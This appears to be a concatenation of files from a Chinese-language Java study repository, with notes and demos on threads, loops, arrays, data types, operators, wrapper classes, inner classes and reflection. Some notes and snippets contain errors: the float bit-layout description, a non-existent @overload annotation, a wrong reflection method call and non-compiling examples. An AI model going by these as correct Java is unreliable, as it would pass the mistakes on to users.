= r1.get(); 5.关闭服务:ser.shutdownNow(); */ package com.mi.thread; import org.apache.commons.io.FileUtils; import java.io.File; import java.io.IOException; import java.net.URL; import java.util.concurrent.*; public class threadTestDemo5 implements Callable<Boolean> { public String url; public String name; public threadTestDemo5(String url, String name) { this.url = url; this.name = name; } @Override public Boolean call() { WebDownLoader webDownLoader = new WebDownLoader(); webDownLoader.downloader(url,name); System.out.println("download:" + name); return true; } public static void main(String[] args) throws ExecutionException, InterruptedException { threadTestDemo5 t1 = new threadTestDemo5("http://mat1.gtimg.com/sports/kbsweb4/assets/176e7c5f3d7dffbd0d7d.png", "1.jpg"); threadTestDemo5 t2 = new threadTestDemo5("http://mat1.gtimg.com/sports/kbsweb4/assets/176e7c5f3d7dffbd0d7d.png", "2.jpg"); threadTestDemo5 t3 = new threadTestDemo5("http://mat1.gtimg.com/sports/kbsweb4/assets/176e7c5f3d7dffbd0d7d.png", "3.jpg"); // 创建执行服务 ExecutorService ser = Executors.newFixedThreadPool(3); // 提交执行 Future<Boolean> r1 = ser.submit(t1); Future<Boolean> r2 = ser.submit(t2); Future<Boolean> r3 = ser.submit(t3); // 获取结果 boolean rs1 = r1.get(); boolean rs2 = r2.get(); boolean rs3 = r3.get(); System.out.println(rs1); System.out.println(rs2); System.out.println(rs3); // 关闭服务 ser.shutdownNow(); } } ```<file_sep>/java基础2/4.多线程/2.线程状态/3.观测线程状态/README.md ## 观测线程状态 > Thread.State ![](assets/线程状态.png) ```java package com.mi.threadstatus; public class TestStateDemo { // 主线程 public static void main(String[] args) throws InterruptedException { Thread thread = new Thread(() -> { for(int i=0; i<5; i++) { try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("------"); }); Thread.State state = thread.getState(); System.out.println(state);// NEW thread.start(); state = thread.getState(); System.out.println(state);// RUNNABLE while(state != Thread.State.TERMINATED) { Thread.sleep(100); state = thread.getState(); System.out.println(state); } } } ```<file_sep>/java基础2/TestPro/thread/src/com/mi/threadcreate/threadTestDemo4.java /* 并发问题:龟兔赛跑 */ package com.mi.threadcreate; public class threadTestDemo4 implements Runnable{ private String winner; @Override public void run() { for(int i=0; i<=100; i++) { // 模拟兔子休息 if(Thread.currentThread().getName().equals("rabbit") && i%10 == 0) { try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } if(gameOver(i)) { break; } System.out.println(Thread.currentThread().getName() + "跑了" + i + "步"); } } // 判断是否结束比赛 private boolean gameOver(int steps) { if (winner != null) { return true; } if(steps >= 100) { winner = Thread.currentThread().getName(); System.out.println("winner is " + winner); return true; } return false; } public static void main(String[] args) { threadTestDemo4 race = new threadTestDemo4(); new Thread(race,"rabbit").start(); new Thread(race,"tortoise").start(); } }<file_sep>/java基础1/6.语句/2.循环语句/1.for循环/嵌套循环/Demo11.java /** * 输出 ***1*** * **121** * *12321* * 1234321 */ import java.util.Scanner; public class Demo9 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.print("请输入行数:"); int line = input.nextInt(); for(int i=1; i<=line; i++) { // 每行 // 左*符 for(int j=1; j<=(line-i); j++) { System.out.print("*"); } // 数字区 // 左数字区 for(int m=1; m<i; m++) { System.out.print(m); } // 中间区 System.out.print(i); // 右数字区 for(int n=i-1; n>=1; n--) { System.out.print(n); } // 右*符 for(int j=1; j<=(line-i); j++) { System.out.print("*"); } // 换行 System.out.println(); } } } /* 分析思路: -> 每行都是由数字、*构成,因此分开讨论即可,数字又可分为左数字区、中间区、右数字区,当我们将*符号去掉,其就是一个数字组成的正三角形 * 数字区 左* 右* ***$*** i=1 7 1 3 3 **$$$** i=2 6 3 2 2 *$$$$$* i=3 4 5 1 1 $$$$$$$ i=4 2 7 0 0 2i-1 line-i line-i * 数字区 左* 右* 左数字区 中间区 右数字区 ***1*** i=1 7 1->i i i->1 3 3 **121** i=2 6 1->i i 1->i 2 2 *12321* i=3 4 1->i i 1->i 1 1 1234321 i=4 2 1->i i 1->i 0 0 21-1 line-i line-i */<file_sep>/java基础1/2.数据类型/README.md ## 数据类型 > 值的集合与相关运算的统称 ### 基本数据类型 -> 8个 > 整型 > byte: 1个字节 -> 8位:2的8次方256种组合,首位表示符号位0正1负,取值范围-2的7次方~2的7次方-1, -128~127 > short: 2个字节 -> 16位 取值范围-2的15次方~2的15次方-1, -32768~32767 > int: 4个字节 -> 32位 取值范围 > long: 8个字节 -> 64位 取值范围 > 浮点型 > float: 4个字节 -> 32位 0 000000000 0000000000000000000000 首位为符号位,接下来9位为整数位,剩下为小数位 > double: 8个字节 -> 64位 0 0000000000000000000 000000000000.... 首位为符号位,接下来19位为整数位,剩下为小数位 > 字符型 > char: 2个字节 -> 16位 > 布尔型 > boolean: 1bit -> 取值:true/false ### 引用数据类型 -> 基本数据类型组成 > 数组[] > 类class(抽象类abstract class) > 接口interface > 枚举enum > 注解@interface<file_sep>/java基础2/4.多线程/3.线程同步/README.md ## 线程同步 > 背景:线程并发执行可提高效率,但涉及到同时操作数据就会引起系列问题,于是诞生了'线程同步'的概念 -> JAVA中利用'锁机制'实现线程同步,保证数据操作的正确性<file_sep>/java基础1/5.运算符/README.md ## 运算符/操作符 > 本质:指明对操作数的运算方式,实际就是对数据的操作方式,所谓的数据就是变量/常量 ### 按操作数数目分类 > 单目:a++ a-- > 双目:a+b a-b > 三目:a > b ? c : d ### 按运算符功能分类 #### 算术运算符 > + - * / %[取余/取模] > 自增、自减: > x++ 等同于 x=x+1;//将x变量空间的值取出,常量区取出1,相加后再次存回到x变量空间 > x做值交换的时候会产生一个临时副本空间,实际就是备份,然后会将副本空间的值赋值 > y = ++x;//先自增后备份 > y = x++;//先备份后自增 -> 因此x = x++;//备份的始终是x,然后之前x变量空间的值++,但是最终还是将备份赋值给了x变量空间,因此x依旧是x ```java int x = 1; for (int i = 1; i <= 100; i++) { x = x++ } System.out.println(x);//1 ``` #### 赋值运算符 > += -= *= /= %= #### 关系运算符/比较运算符 > 运算的最终结果都是boolean值,因此其往往作为条件的判定 > > < >= <= != == 对象instanceof类 #### 逻辑运算符 > 运算符连接的操作数都是boolean值,运算的最终结果也是boolean值 > 逻辑与&: 前后两个操作数条件都为true,最终结果才为true > 逻辑或|: 前后两个操作数条件只要有一个为true,最终结果才为true > 逻辑异或^: 前后两个操作数条件只要不相同,最终结果就为true > 逻辑非!: 操作数结果取反 > 短路与&&: 若首个操作数为true,则返回第二个操作数的结果,若首个操作数为false,则直接返回false,表示短路了,后续不再进行 > 短路或||: 若首个操作数为true,则直接返回,若为false,则返回第二个操作数的结果 #### 位运算符 > 二进制间的运算 > 按位与& > 按位或| > 按位异或^ > 按位取反~ > 按位左位移<< > 按位右位移>> > 按位右位移>>> -> 无符号 > 补充:原码、反码、补码 > 本质:计算机中都是以2进制进行存储数据,其是不分正负的,但现实生活中数字有正负区分,因此诞生了原码、反码、补码概念,计算机最终存储都是以补码的形式存储 > 6 > 原码:00000000 00000000 00000000 00000110 > 反码:00000000 00000000 00000000 00000110 > 补码:00000000 00000000 00000000 00000110 -> 正数的反码、补码同源码相同 > -6 > 原码:10000000 00000000 00000000 00000110 > 反码:11111111 11111111 11111111 11111001 -> 符号位不动,其余位取反 > 补码:11111111 11111111 11111111 11111010 -> 反码+1<file_sep>/java基础1/15.其它/1.方法/README.md ## 方法 ### 方法重载 > 背景:某些方法的参数支持很多种不同数据类型,代码层面不好实现 -> 解决方案:1.定义完全不同的方法[方法名、参数都不同]; 2.方法名相同,参数不同,也就是方法重载,实际java是强类型语言,但它没有提供'可以兼容所有数据类型的类型',例如TypeScript提供了any类型便可以解决此类问题,但也不建议使用,因为强类型语言的类型约束就失去了意义 => java提供的方法重载也是较好的解决方案 > 方法重载要求:-> 方法形式:访问/权限修饰符 [特征修饰符] 返回值类型 方法名(参数列表) [抛出异常] [{方法体}] > 1. 方法名必须相同、参数[个数、类型、顺序]必须不同 > 2. 无需关心修饰符、返回值、抛出异常 ```java public class Person() { @overload public void deal(int num) { } public void deal(boolean bool) { } public void deal(String str) { } // 类的重载 public void deal(Cat cat) {}; public void deal(Dog dog) {}; } ``` ### 方法重写 > 背景:父类提供的方法无法满足子类需求,子类可对方法进行重写 > 方法重写要求:-> 方法形式:访问/权限修饰符 [特征修饰符] 返回值类型 方法名(参数列表) [抛出异常] [{方法体}] > 1. 方法名、参数[个数、类型、顺序]必须相同 > 2. 修饰符:父类权限修饰符要低于子类 > 3. 返回值:父类返回值类型大于子类 > 4. 抛出异常:父类小于等于子类 ```java public class Animal{ public void shout() { System.out.println("shout"); } } public class Cat extends Animal{ @override public void shout() { System.out.println("shout-喵喵"); } } ``` #### 方法重载 VS 方法重写 ![](assets/方法重载重写区别.png) ### 可变参数 > 解决类型确定、个数不确定的参数情况,java会将参数全部塞进一个数组中 -> 方法重载聚焦解决类型、个数都不确定的情况 > 1.参数个数可以是0个、多个、或者直接传入数组,其最终转换格式就是数组[传入数组就直接使用,其它的塞进数组] > 2.可变参数必须作为最后一个参数 ```java public class Test { public void deal(int a, Object b, String....params) { for(String s: params) { System.out.println(s) } } } ```<file_sep>/java基础1/7.数组/README.md ## 数组 > 背景:前面所学变量/常量存储数据都是"单个数据"(基本数据类型),数组可存储系列相同数据类型的数据,基本数据类型、引用数据类型都OK -> 其就是一个容器集合 > 特点: > 1. 数组是引用数据类型:栈区存放地址[hashcode],堆区存放数据[一串连续的内存空间] > 2. 数组初始化时必须指定长度,长度确定后不能再次改变<file_sep>/java基础1/7.数组/1.一维数组/Demo7.java /** * 冒泡排序:每次都冒出一个值,遍历轮次即可 * array{10,20,50,30,40,70,60,80} */ // 升序 // public class Demo7 { // public static void main(String[] args) { // int[] arr = new int[]{10,20,50,30,40,70,60,80}; // for(int j=0; j<arr.length; j++) { // for(int i=0; i<arr.length-1; i++) { // int temp; // if(arr[i] > arr[i+1]) { // temp = arr[i]; // arr[i] = arr[i+1]; // arr[i+1] = temp; // } // } // } // for(int item: arr) { // System.out.println(item); // } // } // } // 降序 // public class Demo7 { // public static void main(String[] args) { // int[] arr = new int[]{10,20,50,30,40,70,60,80}; // for(int j=0; j<arr.length; j++) { // for(int i=0; i<arr.length-1; i++) { // int temp; // if(arr[i] < arr[i+1]) { // temp = arr[i]; // arr[i] = arr[i+1]; // arr[i+1] = temp; // } // } // } // for(int item: arr) { // System.out.println(item); // } // } // } /* 优化版: 1.外循环轮次:不用遍历最后一圈,因为最后一个元素也不涉及比较 -> j<arr.length-1 2.内循环轮次:外层没循环一次,内部循环都可以少循环一次,因为已经比较过了 -> i<arr.length-1-j */ public class Demo7 { public static void main(String[] args) { int[] arr = new int[]{10,20,50,30,40,70,60,80}; for(int j=0; j<arr.length-1; j++) { for(int i=0; i<arr.length-1-j; i++) { int temp; if(arr[i] > arr[i+1]) { temp = arr[i]; arr[i] = arr[i+1]; arr[i+1] = temp; } } } for(int item: arr) { System.out.println(item); } } }<file_sep>/java基础1/3.变量常量/README.md ## 变量常量 ### 变量 > 开辟内存空间,程序执行过程中可改变值,基本数据类型存放栈区,引用数据类型引用存放栈区,内容存放堆区 > 声明 && 赋值 && 定义 > 1. 声明:数据类型 变量名 -> 必须书写数据类型 > 2. 赋值:变量名 = 值 > 3. 定义/初始化:数据类型 变量名 = 值 > 分类: > 全局变量:声明、赋值可以分开,仅声明会有默认值[整型类0、浮点型0.0、布尔型false、char型就是空(什么都没有)、引用类型null] -> 栈存储 > 局部变量(函数内):仅能直接定义/初始化,仅声明会报错'尚未初始化变量' -> 栈中存储 > 成员变量(类内变量非方法):声明、赋值可以分开,仅声明会有默认值 -> 堆中存储 ```java int max = 0; int min = 0; // 简写 int max,min; int max = 0, min = 0; ``` > 变量名命名规定:-> 本质就是标识符,类名、变量名、函数名都遵循该规定 > 1. 其由数字、字母、下划线、$符号构成,首位不能为数字,中文也不推荐,严格区分大小写 > 2. 命名规约 -> 开发人员约定俗成,非强制规定,不按照该规约也OK,不遵循规定会报错,不遵循规约只会对其它开发人员不友好而已,不会报错 > [1].类名:大驼峰 TestDemo > [2].变量名/函数名:小驼峰 testDemo ### 常量 > 存放在内存常量池,程序执行过程中不能改变值 > 常量定义 > final 数据类型 常量名 = 值;//声明与赋值不能分开,只能直接定义使用,final关键字可参考'类部分'[那里会详细介绍] > 常量名命名规定: > 1. 其由数字、字母、下划线、$符号构成,首位不能为数字,中文也不推荐 > 2. 命名规约 > [1].某些常量的值往往全都使用大写表示,例如固定的值PI=3.1415926、表示某含义的值UP/DOWN/LEFT/RIGHT表示上下左右 > 常量分类: > 字面常量:1、3.4、'a'、true/false、字符串'abc'[其归属于String类,虽然是引用数据类型,但值可视为常量]等 > 符号常量/字符常量:final关键字修饰的变量,常为用户自定义常量 > 字符 vs 字符串 > 字符:char类型2个字节 -> 单引号:'a'、'中',//单引号中不能为空,而且也只能放置一个字符,例如一个中文汉字,放多个就归属为字符串 > 字符串:String类引用类型 -> 双引号:"a"、"abc"、""空串、" "空格串、null ### 补充 ![](assets/内存图示.png)<file_sep>/java基础1/6.语句/2.循环语句/2.while循环/Demo1.java /** * 输出 ***$*** * **$$$** * *$$$$$* * $$$$$$$ */ import java.util.Scanner; public class Demo1 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.print("请输入行数:"); int line = input.nextInt(); int i = 1; while(i<=line) { // 每行 // 左*符 int j=1; while(j<=(line-i)) { System.out.print("*"); j++; } // $符 int m = 1; while(m<=(2*i-1)) { System.out.print("$"); m++; } // 右*符 int k=1; while(k<=(line-i)) { System.out.print("*"); k++; } // 换行 System.out.println(); i++; } } } /* 分析思路: -> 每行都是由$、*构成,因此分开讨论$/*即可,左*、$、右*,当我们将*替换为空时,就可以描绘出'正三角形' * $ 左* 右* ***$*** i=1 7 1 3 3 **$$$** i=2 6 3 2 2 *$$$$$* i=3 4 5 1 1 $$$$$$$ i=4 2 7 0 0 2i-1 line-i */<file_sep>/java基础1/1.初识Java/README.md ## 初识Java > 聚焦:开发环境搭建 ### 基本概念 > JVM[Java Virtual Machine]: Java虚拟机,将源代码文件编译为字节码文件 > JRE[Java Runtime Environment]: Java运行环境,运行java程序 -> 显然其内部包含JVM,因为运行前必然需要编译 > JDK[Java Development Kit]: Java开发工具,开发人员使用的工具[编译工具javac.exe、开发工具java.exe] -> 显然其内部包含JVM、JRE ### 开发环境搭建 > 1. 安装JDK > 官网:https://www.oracle.com/java/technologies/javase-downloads.html > 本地安装路径:C:\Program Files\Java > 2. 运行java程序 > [1].编译阶段:javac xx.java -> java编译工具双击时是黑色对话框,一闪而过,其需要在doc命令行窗口使用:打开命令行窗口,进入到源文件目录路径下,但是源文件和javac.exe要在同目录下才可以,否则也不能执行,因为本质就是执行javac命令,解决方案:1.拷贝javac.exe到源文件目录下[软连接],若涉及到有很多不同目录下的源文件,那么就需要拷贝多次,其也会占据硬盘空间; 2.配置环境变量:本质就是配置javac.exe的目录路径,之后在源文件目录下打开命令行窗口时执行javac xxx.java时,其会首先在当前目录下查找javac.exc,若没有则从环境变量中查找,环境变量等同于提供了'公共存储路径区,便于查找,而且还节省空间' > 配置环境变量:我的电脑 -> 右键点击属性 -> 点击环境变量,即可进行配置 > Path: javac.exe编译工具的位置,让该工具可在任何位置均可被使用 > classPath: 生成的class字节码文件放置的目录 > JAVA_HOME:配置后,配置path/classPath的时候可直接使用JAVA_HOME,本质就是一种简写 > -> 实际windows系统需要配置,Mac无需配置,而且最新版JDK下载,windows系统也无需手动配置环境变量,JDK已经配置完成,开发者直接安装JDK即可 > [2].执行阶段:源文件xx.java -> 编译javac xx.java 生成 xx.class字节码文件 -> java xx 执行即可<file_sep>/java基础2/5.注解反射/2.反射/5.操作泛型信息/README.md ## 操作泛型信息 ```java /* 获取泛型信息:-> 了解即可 JAVA中的泛型在编译完成后会进行类型擦除[确保数据安全 && 免去强制类型转换],为了通过反射操作这些类型,JAVA新增了4种类型代表不能被归一到Class类中的类型但是又和原始类型齐名的类型 ParameterizedType: 表示参数化类型,例如Collection<String> GenericArrayType: 表示元素类型为参数化类型或类型变量的数组类型 TypeVariable: 各种类型变量的公共父接口 WildcardType: 表示通配符类型表达式 */ package com.mi.reflect; import java.lang.reflect.Method; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import java.util.List; import java.util.Map; public class TestReflect5 { public void demo1(Map<String,User> map, List<User> list) { System.out.println("test1"); } public Map<String,User> demo2() { System.out.println(); return null; } public static void main(String[] args) throws NoSuchMethodException { Method method = TestReflect5.class.getMethod("demo1",Map.class,List.class); Type[] genericParameterTypes = method.getGenericExceptionTypes(); for(Type genericParameterType: genericParameterTypes) { if(genericParameterType instanceof ParameterizedType) { Type[] actualTypeArguments = ((ParameterizedType)genericParameterType).getActualTypeArguments(); for(Type actualTypeArgument: actualTypeArguments) { System.out.println(actualTypeArgument); } } } Method method1 = TestReflect5.class.getMethod("demo2",null); Type genericReturnType = method1.getGenericReturnType(); if(genericReturnType instanceof ParameterizedType) { Type[] actualTypeArguments = ((ParameterizedType)genericReturnType).getActualTypeArguments(); for(Type actualTypeArgument: actualTypeArguments) { System.out.println(actualTypeArgument); } } } } ```<file_sep>/java基础1/12.标准类库/3.时间处理相关类/3.Calendar/README.md ## Calendar类 > Calendar是抽象类,GregorianCalendar子类来具体实现 -> java.util.GregorianCalendar > 功能:提供日期计算相关功能,年、月、日、时、分、秒等 ```java // 日期对象 GregorianCalendar calendar1 = new GregorianCalendar(2021,8,8,11,13,14); int year = calendar1.get(Calendar.YEAR); int month = calendar1.get(Calendar.MONTH);//0~11 int day = calendar1.get(Calendar.DAY_OF_MONTH); int day1 = calendar1.get(Calendar.DATE);//其等同于DAY_OF_MONTH int date = calendar1.get(Calendar.DAY_OF_WEEK);//周日~周一 -> 1~7 GregorianCalendar calendar2 = new GregorianCalendar(); calendar2.set(Calendar.YEAR,2021); calendar2.set(Calendar.MONTH,Calendar.FEBRUARY); calendar2.set(Calendar.DATE,3); calendar2.set(Calendar.HOUR_OF_DAY,10); calendar2.set(Calendar.MINUTE,20); calendar2.set(Calendar.SECOND,23); // 日期计算 GregorianCalendar calendar3 = new GregorianCalendar(2021,8,8,11,13,14); calendar3.add(Calendar.MONTH,-7);//月份减7 calendar3.add(Calendar.DATE,7);//天数加7 // 日期对象和时间对象转化 Date date1 = calendar3.getTime(); GregorianCalendar calendar4 = new GregorianCalendar(); calendar4.setTime(new Date()); ```<file_sep>/java基础2/2.容器/2.双例集合/README.md ## 双例集合 > key/value形式存储<file_sep>/java基础1/7.数组/1.一维数组/README.md ## 一维数组 ### 声明 && 赋值 && 定义 > 声明: > 数据类型[] 数组名 / 数据类型 []数组名 / 数据类型 数组名[] -> 建议使用第一种 > int[] a; > double[] b; > char[] c; > boolean[] d; > String[] e; > 赋值: > int[] a; > a = new int[]{1,2,3,4,5,6}; > 定义/初始化: > 1. 静态初始化:有长度、有元素 > 数据类型[] 数组名 = new 数据类型[]{ele,ele,ele,,,,,} > 数据类型[] 数组名 = {ele,ele,ele,,,,,}//简写 -> 只有初始化时可以简写,赋值时不可以,因为要明确数据类型(强类型语言) > 2. 动态初始化:有长度、无元素[默认值] > 数据类型[] 数组名 = new 数据类型[length]//length不能省略,不要以为默认值为0,编译会报错(数组没有维度) > 整数默认值:0 > 浮点型默认值:0.0 > 字符型默认值:0 -> char类型 > 布尔型默认值:false > 引用型默认值:null ### 数据元素的访问/存取 -> 遍历 > 数组索引的取值范围:[0,arr.length-1];//越界异常:ArrayIndexOutOfBoundsException > 普通for循环 ```java // 可读可写 for(变量; 终止条件; 变化量) {} ``` > 增强for循环 -> JDK1.5出现,后续又出现了更强的封装for循环,例如forEach ```java // 可读不可写,而且不知道元素是第几个,因为没有index索引 for(变量(接收数组中的元素):数组) {} ``` ### 一维数组的内存图示 ![](assets/数组内存图示.png)<file_sep>/java基础2/3.IO流/3.文件字符流/README.md ## 文件字符流 > Reader/Writer抽象类的两个具体实现类:FileReader/FileWriter -> 常用于处理文本文件 ```java package com.mi.demo; import java.io.FileReader; import java.io.FileWriter; import java.io.BufferedReader; import java.io.BufferedWriter; public class FileReaderDemo { public static void main(String[] args) { FileReader fr = null; FileWriter fw = null; BufferedReader br = null; BufferedWriter bw = null; try { fr = new FileReader("C:\\workspace\\dev\\javastudy\\a.txt"); fw = new FileWriter("C:\\workspace\\dev\\javastudy\\c.txt"); // 缓冲流[处理流]:FileReader/FileWrite仅能按字符一个个读取,效率较低,缓冲流提供了'按行读取'方法,效率更高 br = new BufferedReader(fr); bw = new BufferedWriter(fw); String temp = ""; while((temp = br.readLine()) != null) { bw.write(temp); bw.newLine();//换行 System.out.println(temp); } // 刷新 -> 将数据从内存写入到硬盘 bw.flush(); } catch(Exception e) { e.printStackTrace(); } finally { try { if(br != null) { br.close(); } if(fr != null) { fr.close(); } if(bw != null) { bw.close(); } if(fw != null) { fw.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础2/4.多线程/5.线程池/README.md ## 线程池 > 背景:频繁的创建、销毁占用资源较多的线程,对性能影响很大 > 线程池:提前创建线程放入线程池中,使用时直接获取,使用完成后放入池中,全部使用结束后统一销毁 -> 无需频繁的创建、销毁 > 优点: > 响应速度快、资源消耗少:减少创建新线程的时间,重复使用线程池中线程 > 便于线程管理: > corePoolSize: 核心池的大小 > maximumPoolSize: 最大线程数 > keepAliveTime: 线程没有任务时最多保持多长时间后会终止 ```java /* JDK5.0提供了线程池API: ExecutorService: 线程池接口,常见子类ThreadPoolExecutor void execute(): 执行任务/命令,常用于执行Runnable <T>Future<T>submit(Callable<T>task): 常用于执行Callable void shutdown(): 关闭连接池 Executors: 工具类、线程池的工厂类,用于创建并返回不同类型的线程池 */ package com.mi.threadpool; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class TestPool { public static void main(String[] args) { // 创建线程池 ExecutorService service = Executors.newFixedThreadPool(10); // 执行 service.execute(new dealThread()); service.execute(new dealThread()); service.execute(new dealThread()); service.execute(new dealThread()); // 关闭线程池 service.shutdown(); } } class dealThread implements Runnable { @Override public void run() { System.out.println(Thread.currentThread().getName()); } } ```<file_sep>/java基础1/8.类/3.其它/3.内部类/README.md ## 内部类 > 背景:java支持类中书写类,例如某些类仅使用一次,使用内部类就很合适,但开发中使用场景很少 > 内部类:成员内部类[类中,静态、非静态]、局部内部类[方法、构造器、代码块]、匿名内部类[简洁写法,语法糖] => 聚焦点:内部类终究也是类,属性、方法、构造器、各种修饰符等均可以使用 -> 难点:内部类与外部类属性、方法互相访问操作 ### 成员内部类 > 内部类作为外部类的成员 ```java public class MemberOuter { int value = 10; public void deal() { System.out.println("deal"); }; public static void deal1() { System.out.println("deal1"); }; // 非静态成员内部类 public class A { int value = 20; public void func() { // 内部类可访问外部类的内容 deal(); int value = 30; System.out.println(value);//30 System.out.println(this.value);//20 System.out.println(MemberOuter.this.value);//10 } } // 静态成员内部类 static class B { // 仅能访问外部类中的静态属性、静态方法 deal1(); } // 外部类访问内部类:创建内部类的对象后才能调用 A a = new A(); System.out.println(a.value); a.func(); } class Test { public static void main(String[] args) { // 创建外部类对象 MemberOuter outerObj = new MemberOuter(); // 创建内部类对象 // 非静态成员内部类 MemberOuter outerObj = new MemberOuter(); MemberOuter.A a = ouerObj.new A();//不能直接使用:MemberOuter.A a = new MemberOuter.A(); // 静态成员内部类 MemberOuter.B b = new MemberOuter.B(); } } ``` ### 局部内部类 ```java public class LocalOuter { int value = 10; public void deal() { // 方法中的局部内部类 class A { } System.out.println("deal"); }; public LocalOuter() { // 构造器中的局部内部类 class B {} } // 代码块中的局部内部类 { class C {} } // 局部内部类中访问到的变量必须是被final修饰 public static void deal1() { final int count = 10; class D { public void d() { System.out.println(count) } } } // 和接口联用 public ComInterface deal2() { class B implements ComInterface{ @Override public int compareTo(Object o) { return 520; } } return new B(); } public ComInterface deal3() { return new ComInterface() { @Override public int compareTo(Object o) { return 520; } } } } class Test { public static void main(String[] args) { // 创建外部类对象 LocalOuter outerObj = new LocalOuter(); } } ``` ### 匿名内部类 ```java public class Inner { public void deal() { // 匿名内部类:无类的名称,直接借助接口或父类完成对象的定义 -> 大多都是借助接口 ILike like = new ILike() { @Override public void lamda() { System.out.println("lamda"); } } } } // 定义接口 -> 后面会学 interface ILike() { void like() } ```<file_sep>/java基础2/1.泛型/4.通配符和上下限定符/Generic.java /** * 泛型类 */ public class Generic<T> { private T flag; public void setFlag(T flag) { this.flag = flag; } public T getFlag() { return this.flag; } }<file_sep>/java基础2/2.容器/1.单例集合/2.Set接口/1.HashSet类/README.md ## HashSet类 -> Set接口的实现类 > 基于哈希表实现[实际就是数组+链表,采用哈希算法/散列算法,底层就是基于HashMap实现],查询增删效率都较高,而且允许有null元素,线程不安全,无排序能力 => 存储过程:首先调用元素的hashCode()方法获取hashCode值,拿到该值后根据某些规则确定位置,若多个元素得到的hash值是相同的,那么就在同位置下使用链表连接,这就是哈希算法,查找过程也是通过哈希算法进行查找[比遍历查找效率高] ```java package com.mi.set; import java.util.Set; import java.util.HashSet; public class HashSetTest { public static void main(String[] args) { Set<String> set = new HashSet<>(); // 新增 set.add("a"); set.add("b"); set.add("c"); set.add("a"); // 获取元素 -> Set容器没有索引,没有get()方法 for(String str: set) { System.out.println(str); } // 删除 boolean flag = set.remove("a"); System.out.println(flag); // 长度 int size = set.size(); System.out.println(size); } } ```<file_sep>/java基础1/12.标准类库/1.包装类/README.md ## 包装类 > 背景:java是面向对象程序语言,但并非'完全面向对象',基本数据类型就不是对象,但开发中经常涉及到基本数据类型的操作,转换为对象后,调用属性方法更容易解决问题 ### 包装类的对应关系 && 继承关系 > 1. 对应关系 ```java /* 基本数据类型 包装类 byte Byte short Short int Integer long Long float Float double Double char Character boolean Boolean */ ``` > 2. 继承关系 > Byte、Short、Integer、Long、Float、Double -> Number类 -> Object类 > Character、Boolean -> Object类 > -> 包装类、Number类存在于java.lang包,使用时无需导包 ![](assets/包装类继承关系.png) ### 应用场景 > 基本数据类型与包装类对象、字符串的相互转换、集合的操作等 #### 装箱 && 拆箱 -> 基本数据类型与包装类对象相互转换 ```java // 下述以Integer包装类为例,其它包装类使用方法类似 // 装箱:基本数据类型 -> 包装类 int num = 10; Integer n = new Integer(num);//java9宣布废弃此写法,也就不允许外界创建对象,仅能通过静态方法valueOf转换 -> 底层实现:构造器使用private修饰,仅能类内部调用,valueOf方法返回值就是new Integer() Integer n1 = Integer.valueOf(num); // 拆箱:包装类 -> 基本数据类型 Integer n2 = 100; int n3 = n2.intValue(); // 自动装箱[autoboxing]、自动拆箱[unboxing] -> 编译器可自动完成转换,JDK1.5之后出现 Integer n4 = 10//编译器默认Integer n4 = Integer.valueOf(10) -> 自动装箱 int n5 = new Integer(100);//编译器默认转换 int n5 = new Integer(100).intValue() -> 自动拆箱 // 自动拆箱空指针异常问题 -> 编译时不报错,运行时报错java.lang.NullPointerException Integer n6 = null; int n7 = n6;//自动拆箱默认调用n6.intValue(),但是n6为null,所以空指针异常 ``` ### 基本数据类型与字符串间的转换 ```java // 字符串转换成对象 Integer n = Integer.parseInt("520");//Integer n = 520; Integer n1 = new Integer("618");//Integer n1 = 618;Integer类提供的构造器重载方法 -> java9宣布废弃 // 对象转换成字符串 String s1 = n.toString();// String s1 = "520" -> 底层使用的new String() // 补充:获取类相关常量 System.out.println(Integer.MAX_VALUE);//最大值 ``` ### 包装类的缓存 ```java /* 包装类的缓存: 包装类提供的valueOf方法会对-128~127间的数进行缓存,目的是提高效率 -> 仅仅是整型、char类型的包装类 public static Integer valueOf(int i) { if (i >= IntegerCache.low && i <= IntegerCache.high) { return IntegerCache.cache[i + (-IntegerCache.low)]; } return new Integer(i); } */ Integer n5 = 520; Integer n6 = 520; System.out.println(n5 == n6);//false System.out.println(n5.equals(n6));//true Integer n7 = -128; Integer n8 = -128; System.out.println(n7 == n8);//true System.out.println(n7 == n8);//true ```<file_sep>/java基础1/6.语句/2.循环语句/README.md ## 循环语句 > 循环是指'重复'完成同样的事情,因此弄清楚一件事件就OK了,聚焦:开始条件/初始值、结束/终止条件、变化量 ### for循环 ```java // 方式1:初始值写在括号内,变量生命周期仅存在于for循环内部 for(初始值;终止条件;变化量) { 代码区 } // 方式2:将初始值、变化量从括号中提取出来,分号不能省略,变量生命周期延伸到for循环外 初始值; for(;终止条件;) { 代码区 变化量 } ``` ### while循环 > 当满足某条件/非终止条件,便执行代码 -> 其可理解为for循环的变体,初始值在外部,变量生命周期延伸到循环外 ```java 初始值 while(终止判断条件) { 代码区 变化量 } ``` ### dowhile循环 > 先执行后判断,条件不满足也至少会执行一次 ```java do { 代码区 变化量 } while(终止判断条件) > dowhile循环不一定比while循环多执行一次 > [1].当终止判断条件开始就不满足的时候,dowhile循环比while循环多执行一次 > [2].当终止判断条件不完全一致的情况下,例如< <=, dowhile循环和while循环执行次数会相等 > -> 聚焦:终止判断条件 ``` ### break && continue > 循环控制语句:控制循环,本质就是控制循环执行次数 -> 它们仅在循环中起作用,但break还可用于switch多分支语句 > break: 直接跳出循环 > continue: 跳出当前循环,直接进行下一轮循环 > => 作用域:当循环嵌套时,它们仅对当前循环[离得最近的循环]起作用,但java提供了循环标记[对循环打标],它们可根据标记中断任意循环,提高了灵活性<file_sep>/java基础2/TestPro/other/src/com/mi/lamda/TestLamda1.java //package com.mi.lamda; // //public class TestLamda1 { // public static void main(String[] args) { //// ILove love = new Love(); //// love.love(3); // // // ILove love = new ILove() { // @Override // public void love(int a) { // System.out.println("love: " + a); // } // }; // love.love(3); // // ILove love1 = (int a) -> { // System.out.println("love: " + a); // }; // // ILove love1 = a -> { // System.out.println("love: " + a); // }; // // // ILove love2 = a -> System.out.println("love: " + a); // // 参数,语句仅有一句时候,外面的大括号可省略 // // // 多个参数可都去掉参数类型 // // // // // // love1.love(5); // // // // // 